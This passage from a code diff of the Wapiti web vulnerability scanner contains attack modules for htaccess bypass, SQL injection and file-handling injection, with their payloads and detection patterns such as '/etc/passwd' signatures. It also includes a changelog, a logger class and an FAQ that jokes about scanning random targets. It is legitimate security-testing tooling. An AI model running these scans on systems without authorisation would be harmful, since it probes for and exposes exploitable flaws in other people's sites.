m = re.search("(IN-[0-9]{4}-[0-9]{2})", vuln_desc)
if m is not None:
refs.append("http://www.cert.org/incident_notes/" + m.group(0) + ".html")
# Microsoft Technet
m = re.search("(MS[0-9]{2}-[0-9]{3})", vuln_desc)
if m is not None:
refs.append("http://www.microsoft.com/technet/security/bulletin/" + m.group(0) + ".asp")
info = vuln_desc
if refs:
self.log_red(_("References:"))
self.log_red(" {0}".format("\n ".join(refs)))
info += "\n" + _("References:") + "\n"
info += "\n".join(refs)
self.log_red("---")
self.add_vuln(
category=Vulnerability.NIKTO,
level=Vulnerability.HIGH_LEVEL,
request=evil_request,
info=info
)

View File

@ -0,0 +1,85 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2009-2018 Nicolas Surribas
#
# Original authors :
# Anthony DUBOCAGE
# Guillaume TRANCHANT
# Gregory FONTAINE
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from requests.exceptions import RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, _
from wapitiCore.net import web
class mod_htaccess(Attack):
"""
This class implements a htaccess attack
"""
name = "htaccess"
do_get = False
do_post = False
def attack(self):
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
for original_request in http_resources:
url = original_request.path
referer = original_request.referer
headers = {}
if referer:
headers["referer"] = referer
if url not in self.attacked_get:
if original_request.status in (401, 402, 403, 407):
# The ressource is forbidden
try:
evil_req = web.Request(url, method="ABC")
response = self.crawler.send(evil_req, headers=headers)
unblocked_content = response.content
if response.status == 404 or response.status < 400 or response.status >= 500:
# Every 4xx status should be uninteresting (specially bad request in our case)
self.log_red("---")
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.HTACCESS,
level=Vulnerability.HIGH_LEVEL,
request=evil_req,
info=_("{0} bypassable weak restriction").format(evil_req.url)
)
self.log_red(_("Weak restriction bypass vulnerability: {0}"), evil_req.url)
self.log_red(_("HTTP status code changed from {0} to {1}").format(
original_request.status,
response.status
))
if self.verbose == 2:
self.log_red(_("Source code:"))
self.log_red(unblocked_content)
self.log_red("---")
self.attacked_get.append(url)
except (RequestException, KeyboardInterrupt) as exception:
yield exception
yield original_request

View File

@ -0,0 +1,282 @@
11/05/2018
Wapiti 3.0.1
New module mod_methods to detect interesting methods which might be allowed by scripts (PUT, PROPFIND, etc)
New module mod_ssrf to detect Server Side Request Forgery vulnerabilities (requires Internet access)
Improved mod_xss and mod_permanentxss modules to reduce false positives.
Changed some XSS payloads for something more visual (banner at top the the webpage).
Changed bug reporting URL.
Fixed issue #54 in lamejs JS parser.
Removed lxml and libxml2 as a dependency. That parser have difficulties to parse exotic encodings.
03/01/2017
Release of Wapiti 3.0.0
02/01/2018
Added --list-modules and --resume-crawl options.
23/12/2017
Ported to Python3.
Persister rewritten to use sqlite3 databases (for session management).
Added ascii-art because you know... it's an attack tool so it's required feature.
Changed output format (stdout) to something more like sqlmap output.
python-lxml and libxml2 are required dependencies unless you opt-out with --with-html5lib at setup.
SOCKS5 proxy support is back.
New -u mandatory option must be use to specify the base URL.
Added -d (--depth) option to limit the maximum depth of links following.
Added -H (--header) option to add HTTP headers to every request.
Added -A (--user-agent) option to set the User-Agent string.
Added --skip option to skip parameters during attacks.
Added -S (--scan-force) option to control the ammount of requests sent for attacks.
Added --max-parameters to not attack URLs anf forms having more than X input parameters.
Added -l (--level) option to allow attacking query strings without parameters.
Added --max-scan-time option to stop the scan after the given amount of minutes.
Added a buster module for directory and file busting.
Added a Shellshock detection module.
Added buitin list of well known parameters to skip during attack.
More control on execution flow when KeyboardInterrupt is triggered.
Reduced false-positives situations on time-based attacks (mainly blind_sql)
Replace getopt for argparse.
Fixed bugs related to obtaining user's locale (issue #20).
Enhancement to support new CVE notation [issue 37).
Can now report minor issues (notices) besides anomalies and vulnerabilities.
Added mod_delay module to report time consuming webpages.
Renamed some options (should be easier to remember).
More exec, file, xss payloads.
Fixed a bug with JSON cookie management for IPv6 addresses and custom ports.
XSS attack module can escape HTML comments for payload generation.
Fixed -r issue on URLs having only one parameter.
No SSL/TLS check by default (--verify-ssl behavior).
Added a Mutator class for easy payload injection in parameters.
Rewrote report generators, added Mako as a dependency for HTML reports. Less JS.
Crash report are send to a website, opt-out with --no-bugreport.
Improvements on backup, sql and exec modules submitted by Milan Bartos.
Payload files can now include special flags that will be interpreted by Wapiti.
wapiti-cookie and wapiti-getcookie were merged in a new wapiti-getcookie tool.
20/10/2013
Version 2.3.0
Fixed a colosseum of bugs, especially related to unicode.
Software is much more stable.
New report template for HTML (using Kube CSS).
Using v2.1.5 of Nikto database for mod_nikto.
Replaced httplib2 with (python-)requests for everything related to HTTP.
Remove BeautifulSoup from package. It is still required however.
Core rewrite (PEP8 + more Pythonic)
New payloads for the backup, XSS, blind SQL, exec and file modules + more
detection rules.
So many improvements on lswww (crawler) that I can't make a list here. But
Wapiti reached 48% on Wivet.
Wapiti cookie format is now based on JSON.
Removed SOCKS proxy support (you will have to use a HTTP to SOCKS proxy).
Added a HTTPResource class for easier module creation.
Code restructuration for better setup.
Attack of parameters in query string even for HTTP POST requests.
Attack on file uploads (injection in file names).
Simpler (and less buggy) colored output with -c.
A CURL PoC is given for each vulnerability/anomaly found + raw HTTP
request representation in reports.
No more parameter reordering + can handle parameters repetition.
Added a JSON report generator + fixed the HTML report generator.
Added an option to not check SSL certificates.
mod_xss : noscipt tag escaping.
Can work on parameters that don't have a value in query string.
mod_crlf is not activated by default anymore (must call it with -m).
Startings URLs (-s) will be fetched even if out of scope.
Proxy support for wapiti-getcookie. and wapiti-cookie.
Attempt to bring an OpenVAS report generator.
Added an home-made SWF parser to extract URLs from flash files.
Added an home-made (and more than basic) JS interpreter based on the
pynarcissus parser. Lot of work still needs to be done on this.
New logo and webpage at wapiti.sf.net.
Added german and malaysian translations.
Added a script to create standalone archive for Windows (with py2exe).
29/12/2009
Version 2.2.1 (already)
Bugfixes only
Fixed a bug in lswww if root url is not given complete.
Fixed a bug in lswww with a call to BeautifulSoup made on non text files.
Fixed a bug that occured when verbosity = 2. Unicode error on stderr.
Check the document's content-type and extension before attacking files on
the query string.
Added a timeout check in the nikto module when downloading the database.
28/12/2009
Version 2.2.0
Added a manpage.
Internationalization : translations of Wapiti in spanish and french.
Options -k and -i allow the scan to be saved and restored later.
Added option -b to set the scope of the scan based on the root url given.
Wrote a library to save handle cookies and save them in XML format.
Modules are now loaded dynamically with a dependency system.
Rewrote the -m option used to activate / deactivate attack modules.
New module to search for backup files of scripts on the target webserver.
New module to search for weakly configured .htaccess.
New module to search dangerous files based on the Nikto database.
Differ "raw" XSS from "urlencoded" XSS.
Updated BeautifulSoup to version 3.0.8.
Better encoding support for webpages (convert to Unicode)
Added "resource consumption" as a vulnerability type.
Fixed bug ID 2779441 "Python Version 2.5 required?"
Fixed bug with special characters in HTML reports.
05/04/2008
Added more patterns for file handling vulnerabilities in PHP.
Added GET_SQL and POST_SQL as modules (-m) for attacks.
Modifier getcookie.py and cookie.py so they try to get the cookies
even if cookielib fails.
27/03/2007
Updated ChangeLogs
26/03/2009
Fixed bug ID 2433127. Comparison was made with HTTP error codes
on numeric values but httplib2 return the status code as a string.
Forbid httplib2 to handle HTTP redirections. Wapiti and lswww will
take care of this (more checks on urls...)
Fixed a bug with Blind SQL attacks (the same attack could be launched
several times)
Fixed an error in blindSQLPayloads.txt.
Changed the error message when Wapiti don't get any data from lswww.
Verifications to be sure blind SQL attacks won't be launched if "standard"
SQL attacks works.
25/03/2009
Exported blind SQL payloads from the code. Now in config file
blindSQLPayloads.txt.
Set timeout for time-based BSQL attacks to timetout used for HTTP
requests + 1 second.
Added Blind SQL as a type of vulnerability in the report generator.
More verbosity for permanent XSS scan.
More docstrings.
Updated the REAME.
24/03/2009
Added some docstring to the code.
Removed warnign on alpha code.
First Blind SQL Injection implementation in Wapiti.
Fixed some timeout errors.
22/03/2009
Fixed character encoding error in sql injection module.
Changed the md5 and sha1 import in httplib2 to hashlib.
28/11/2008
Google Charts API is added to generate the charts of the reports.
15/11/2008
Re-integration of standard HTTP proxies in httplib2.
Integration of HTTP CONNECT tunneling in Wapiti.
Fixed bug ID 2257654 "getcookie.py error missing action in html form"
02/11/2008
Integraded the proxy implementation of httplib2 in Wapiti.
Can now use SOCKSv5 and SOCKSv4 proxies.
22/10/2008
Fixed a bug with Cookie headers.
19/10/2008
Remplaced urllib2 by httplib2.
Wapiti now use persistent HTTP connections, speed up the scan.
Included a python SOCKS library.
09/10/2008
Version 2.0.0-beta
Added the possibility to generate reports of the vulnerabilities found
in HTML, XML or plain-text format. See options -o and -f.
HTTP authentification now works.
Added the option -n (or --nice) to prevent endless loops during scanning.
More patterns for SQL vulnerability detection
Code refactoring : more clear and more object-oriented
New XSS function is now fully implemented
The payloads have been separated from the code into configuration files.
Updated BeautifulSoup
15/09/2008
Version 1.1.7-alpha
Use GET method if not specified in "method" tag
Keep an history of XSS payloads
New XSS engine for GET method using a list of payloads to bypass filters
New module HTTP.py for http requests
Added fpassthru to file handling warnings
Added a new new detection string for MS-SQL, submitted by Joe McCray
28/01/2007
Version 1.1.6
New version of lswww
24/10/2006
Version 1.1.5
Wildcard exclusion with -x (--exclude) option
22/10/2006
Fixed a typo in wapiti.py (setAuthCreddentials : one 'd' is enough)
Fixed a bug with set_auth_credentials.
07/10/2006
Version 1.1.4
Some modifications have been made on getccokie.py so it can work
on Webmin (and probably more web applications)
Added -t (--timeout) option to set the timeout in seconds
Added -v (--verbose) option to set the verbosity. Three availables
modes :
0: only print found vulnerabilities
1: print current attacked urls (existing urls)
2: print every attack payload and url (very much informations... good
for debugging)
Wapiti is much more modular and comes with some functions to set scan
and attack options... look the code ;)
Some defaults options are availables as "modules" with option -m
(--module) :
GET_XSS: only scan for XSS with HTTP GET method (no post)
POST_XSS: XSS attacks using POST and not GET
GET_ALL: every attack without POST requests
12/08/2006
Version 1.1.3
Fixed the timeout bug with chunked responses
(ID = 1536565 on SourceForge)
09/08/2006
Version 1.1.2
Fixed a bug with HTTP 500 and POST attacks
05/08/2006
Version 1.1.1
Fixed the UnboundLocalError due to socket timeouts
(bug ID = 1534415 on SourceForge)
27/07/2006
Version 1.1.0 with urllib2
Detection string for mysql_error()
Changed the mysql payload (see http://shiflett.org/archive/184 )
Modification of the README file
22/07/2006
Added CRLF Injection.
20/07/2006
Added LDAP Injection and Command Execution (eval, system, passthru...)
11/07/2006
-r (--remove) option to remove parameters from URLs
Support for Basic HTTP Auth added but don't work with Python 2.4.
Proxy support.
Now use cookie files (option "-c file" or "--cookie file")
-u (--underline) option to highlight vulnerable parameter in URL
Detect more vulnerabilities.
04/07/2006:
Now attacks scripts using QUERY_STRING as a parameter
(i.e. http://server/script?attackme)
23/06/2006:
Version 1.0.1
Can now use cookies !! (use -c var=data or --cookie var=data)
Two utilities added : getcookie.py (interactive) and cookie.py (command line) to get a cookie.
Now on Sourceforge
25/04/2006:
Version 1.0.0

View File

@ -0,0 +1,143 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from abc import abstractmethod
class BaseLogger:
def __init__(self):
self._verbose = 0
@property
def verbose(self):
return self._verbose
@verbose.setter
def verbose(self, value: int):
self._verbose = value
@abstractmethod
def log(self, fmt_string, *args):
pass
@abstractmethod
def log_red(self, fmt_string, *args):
pass
@abstractmethod
def log_green(self, fmt_string, *args):
pass
@abstractmethod
def log_yellow(self, fmt_string, *args):
pass
@abstractmethod
def log_cyan(self, fmt_string, *args):
pass
@abstractmethod
def log_white(self, fmt_string, *args):
pass
@abstractmethod
def log_magenta(self, fmt_string, *args):
pass
@abstractmethod
def log_blue(self, fmt_string, *args):
pass
@abstractmethod
def log_orange(self, fmt_string, *args):
pass
class ConsoleLogger(BaseLogger):
# Color codes
STD = "\033[0;0m"
RED = "\033[0;31m"
GREEN = "\033[0;32m"
ORANGE = "\033[0;33m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[0;35m"
CYAN = "\033[0;36m"
GB = "\033[0;30m\033[47m"
def __init__(self):
super().__init__()
self._color = False
@property
def color(self):
return self._color
@color.setter
def color(self, value: bool):
self._color = value
def log(self, fmt_string, *args):
if len(args) == 0:
print(fmt_string)
else:
print(fmt_string.format(*args))
if self.color:
sys.stdout.write(self.STD)
def log_red(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.RED)
self.log(fmt_string, *args)
def log_green(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.GREEN)
self.log(fmt_string, *args)
def log_yellow(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.YELLOW)
self.log(fmt_string, *args)
def log_cyan(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.CYAN)
self.log(fmt_string, *args)
def log_white(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.GB)
self.log(fmt_string, *args)
def log_magenta(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.MAGENTA)
self.log(fmt_string, *args)
def log_blue(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.BLUE)
self.log(fmt_string, *args)
def log_orange(self, fmt_string, *args):
if self.color:
sys.stdout.write(self.ORANGE)
self.log(fmt_string, *args)

View File

@ -0,0 +1,195 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from itertools import chain
from requests.exceptions import ReadTimeout, RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
class mod_sql(Attack):
"""
This class implements an error-based SQL Injection attack
"""
TIME_TO_SLEEP = 6
name = "sql"
payloads = ("\xBF'\"(", set())
filename_payload = "'\"(" # TODO: wait for https://github.com/shazow/urllib3/pull/856 then use that for files upld
@staticmethod
def _find_pattern_in_response(data):
if "You have an error in your SQL syntax" in data:
return _("MySQL Injection")
if "supplied argument is not a valid MySQL" in data:
return _("MySQL Injection")
if "Warning: mysql_fetch_array()" in data:
return _("MySQL Injection")
if "com.mysql.jdbc.exceptions" in data:
return _("MySQL Injection")
if "MySqlException (0x" in data:
return _("MySQL Injection")
if ("[Microsoft][ODBC Microsoft Access Driver]" in data or
"Syntax error in string in query expression " in data):
return _("MSAccess-Based SQL Injection")
if "[Microsoft][ODBC SQL Server Driver]" in data:
return _("MSSQL-Based Injection")
if 'Microsoft OLE DB Provider for ODBC Drivers</font> <font size="2" face="Arial">error' in data:
return _("MSSQL-Based Injection")
if "Microsoft OLE DB Provider for ODBC Drivers" in data:
return _("MSSQL-Based Injection")
if "java.sql.SQLException: Syntax error or access violation" in data:
return _("Java.SQL Injection")
if "java.sql.SQLException: Unexpected end of command" in data:
return _("Java.SQL Injection")
if "PostgreSQL query failed: ERROR: parser:" in data:
return _("PostgreSQL Injection")
if "Warning: pg_query()" in data:
return _("PostgreSQL Injection")
if "XPathException" in data:
return _("XPath Injection")
if "Warning: SimpleXMLElement::xpath():" in data:
return _("XPath Injection")
if "supplied argument is not a valid ldap" in data or "javax.naming.NameNotFoundException" in data:
return _("LDAP Injection")
if "DB2 SQL error:" in data:
return _("DB2 Injection")
if "Dynamic SQL Error" in data:
return _("Interbase Injection")
if "Sybase message:" in data:
return _("Sybase Injection")
if "Unclosed quotation mark after the character string" in data:
return _(".NET SQL Injection")
if "error '80040e14'" in data and "Incorrect syntax near" in data:
return _("MSSQL-Based Injection")
ora_test = re.search("ORA-[0-9]{4,}", data)
if ora_test is not None:
return _("Oracle Injection") + " " + ora_test.group(0)
return ""
def set_timeout(self, timeout):
self.TIME_TO_SLEEP = str(1 + int(timeout))
def attack(self):
mutator = self.get_mutator()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
timeouted = False
page = original_request.path
saw_internal_error = False
if self.verbose >= 1:
print("[+] {}".format(original_request))
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
try:
if self.verbose == 2:
print("[¨] {0}".format(mutated_request))
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
if timeouted:
continue
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_TIMEOUT
else:
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
timeouted = True
else:
vuln_info = self._find_pattern_in_response(response.content)
if vuln_info:
# An error message implies that a vulnerability may exists
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
else:
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.SQL_INJECTION,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING" else Vulnerability.MSG_PARAM_INJECT,
vuln_info,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
# We reached maximum exploitation, stop here
break
elif response.status == 500 and not saw_internal_error:
saw_internal_error = True
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request

View File

@ -0,0 +1,125 @@
## Frequently Asked Questions ##
### What is Wapiti ? ###
Wapiti is a web-application / website vulnerability scanner written in Python3.
It allow to automate the processing of finding web-based vulnerabilities.
This is not an exploitation framework like Metasploit, it only does detection.
### How do I install Wapiti on my computer ? ###
Details of installation can be found in the INSTALL.md file.
### What do I need to install Wapiti ? ###
Any operating system with a recent Python3 installation should be ok.
### Will you release a standalone Windows executable like the one made for Wapiti 2.3.0 ? ###
I'd like to but Microsoft make it so hard to actually doing it. py2exe and pyinstaller seems broken with latests Windows versions.
### Can I modify and share the software code ? ###
Sure as long as you respect the GPLv2 license.
### How do I execute Wapiti ? ###
Wapiti is a console tool so it must be launched from a terminal (cmd.exe on Windows, Konsole or GnomeTerminal on Linux, etc)
If you installed Wapiti then the binary should be in your path. Otherwise you will have to launch it from the bin folder once the archive is uncompressed.
On Linux and OSX, just typing `wapiti` should work.
On Windows you will have to specify the interpreter (`python wapiti`).
### Where can I get some help about options ? ###
The manpage (Linux or HTML version) is the best way to have detailed informations about the options.
If you are really lost, feel free to contact me.
### I found a bug. Where to report ? ###
Please create an issue on https://sourceforge.net/p/wapiti/bugs/
### Can I help the project ? ###
Sure ! If you have Python3 skills I can give you some tasks to work on.
If you are not in development you can help translate Wapiti in your language (see https://www.transifex.com/none-538/wapiti/ )
### I love Wapiti, how to support the project ? ###
Wapiti is a project made on my spare time. If you love the project, a little donation would be welcome :
http://sourceforge.net/donate/index.php?group_id=168625
### I'm trying to hack a website, can you help me ? ###
Nope.
### Is the proxy option sure ? Will it leak my IP ? ###
The proxy option should work and act as expected. But humans make mistakes. I may have made some mistakes. You might make some mistakes.
If you plan to hack a 3 letter agency I hope you know exactly what you are doing.
### I was trying to hack a website but Wapiti crashed. Can you help me ? ###
Sure, create an issue on the bug tracker.
### I'm a forensic expert working on a case where Wapiti is used, can you help me ? ###
Yes I can help you understanding how Wapiti works and what are the files involved.
### I found some vulnerabilities in a web application using Wapiti, should I mention it ? ###
You don't have to, but it would be appreciated.
### Can I add some attack payloads easily ? ###
Yes, most of the payloads are stored in text files. You just have to add your owns.
### Launched a Wapiti scan, it takes sooooooo muuuuuuuuch time ####
Yes it can happens if there is lot of webpages and/or forms or urls with lot of inputs.
There is a lot of available option to reduce the amount of scanned pages. See the manpages.
### I launched Wireshark/tshark/tcpdump/whatever and I don't see any network activity ###
There's some strange behavior that may occur on Windows. Just Ctrl+C and the scan will continue normally.
Well... until the next time the problem occurs :(
Best option for that problem should be to use Linux... sorry MS dudes.
### Why should I use Wapiti and not another vulnerability scanner ? ###
First Wapiti is a free and open-source software, that's a huge difference with some other solutions.
Wapiti also have the advantage to be usable as an automated task, for exemple for continuous testing of a web-application.
### Why should I use Wapiti and not SQLmap ? ###
Wapiti and SQLmap are complementary tools doing different things.
For pentests I usually do a scan with Wapiti then exploit SQLi vulnerabilities with SQLmap.
### Is Wapiti effective ? Do you find vulnerabilities with it ? ###
Yes, it can find a lot. But Wapiti doesn't act like a MITM proxy so it may not find scripts where Ajax (XHR) is involved.
Don't hesitate to move to OWASP Zed Attack Proxy for in-depth pentesting.
### How do you test Wapiti ? ###
Internet is like a box of chocolates: You never know what you're gonna get.
Broken webpages, malformed links, mixed standards for HTML/XML/XHTML, proprietary technologies, network or protocol issues...
So the only way to make sure Wapiti is Internet proof is to launch it on random targets.
Don't take it personnaly, you are helping to make the Internet a safer place.
### Do you have a personnal website? Twitter ? ###
Yes you can follow me at @devl00p.
My website is http://devloop.users.sourceforge.net/
I write some CTF walkthrough. Articles are in french though.
### Why did it took you so much time before releasing a new version ? ###
Dude, I have a baby girl, a girlfriend, a fat cat, a job in cybersecurity and a rusty Miata... do the math.
### Which one takes the most time ? ###
Man, my girlfriend will kill me if I give you the answer.
### And now what ? ###
Something completely different I guess.

View File

@ -0,0 +1,191 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from itertools import chain
from requests.exceptions import ReadTimeout, RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
class mod_file(Attack):
"""This class implements a file handling attack"""
PAYLOADS_FILE = "fileHandlingPayloads.txt"
name = "file"
# The following table contains tuples of (pattern, description, severity)
# a severity of 1 is a file disclosure (inclusion, read etc) vulnerability
# a severity of 0 is just the detection of an error returned by the server
# Most important patterns must appear at the top of this table.
warnings_desc = [
# Vulnerabilities
("<title>Google</title>", _("Remote inclusion vulnerability"), 1),
("root:x:0:0", _("Linux local file disclosure vulnerability"), 1),
("root:*:0:0", _("BSD local file disclosure vulnerability"), 1),
("# Network services, Internet style", _("Unix local file disclosure vulnerability"), 1),
("[boot loader]", _("Windows local file disclosure vulnerability"), 1),
("for 16-bit app support", _("Windows local file disclosure vulnerability"), 1),
("s:12:\"pear.php.net\";", _("File disclosure vulnerability in include_path"), 1),
("PHP Extension and Application Reposit", _("File disclosure vulnerability in include_path"), 1),
("PEAR,&nbsp;the&nbsp;PHP&nbsp;Extensio", _("highlight_file() vulnerability in basedir"), 1),
("either use the CLI php executable", _("include() of file in include_path"), 1),
# Warnings
("java.io.FileNotFoundException:", "Java include/open", 0),
("fread(): supplied argument is not", "fread()", 0),
("fpassthru(): supplied argument is not", "fpassthru()", 0),
("for inclusion (include_path=", "include()", 0),
("Failed opening required", "require()", 0),
("Warning: file(", "file()", 0),
("<b>Warning</b>: file(", "file()", 0),
("Warning: readfile(", "readfile()", 0),
("<b>Warning:</b> readfile(", "readfile()", 0),
("Warning: file_get_contents(", "file_get_contents()", 0),
("<b>Warning</b>: file_get_contents(", "file_get_contents()", 0),
("Warning: show_source(", "show_source()", 0),
("<b>Warning:</b> show_source(", "show_source()", 0),
("Warning: highlight_file(", "highlight_file()", 0),
("<b>Warning:</b> highlight_file(", "highlight_file()", 0),
("System.IO.FileNotFoundException:", ".NET File.Open*", 0),
("error '800a0046'", "VBScript OpenTextFile", 0)
]
def _find_pattern_in_response(self, data, warn):
"""This method searches patterns in the response from the server"""
err_msg = ""
inc = 0
for pattern, description, level in self.warnings_desc:
if pattern in data:
if level == 1:
err_msg = description
inc = 1
break
else:
if warn == 0:
err_msg = _("Possible {0} vulnerability").format(description)
warn = 1
break
return err_msg, inc, warn
def attack(self):
mutator = self.get_mutator()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
warned = False
timeouted = False
page = original_request.path
saw_internal_error = False
if self.verbose >= 1:
print("[+] {}".format(original_request))
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
try:
if self.verbose == 2:
print("[¨] {0}".format(mutated_request))
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
if timeouted:
continue
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_TIMEOUT
else:
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
timeouted = True
else:
vuln_info, inc, warn = self._find_pattern_in_response(response.content, warned)
if vuln_info:
# An error message implies that a vulnerability may exists
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
else:
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.FILE_HANDLING,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING" else Vulnerability.MSG_PARAM_INJECT,
vuln_info,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
if inc:
# We reached maximum exploitation, stop here
break
elif response.status == 500 and not saw_internal_error:
saw_internal_error = True
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request

View File

@ -0,0 +1,179 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import codecs
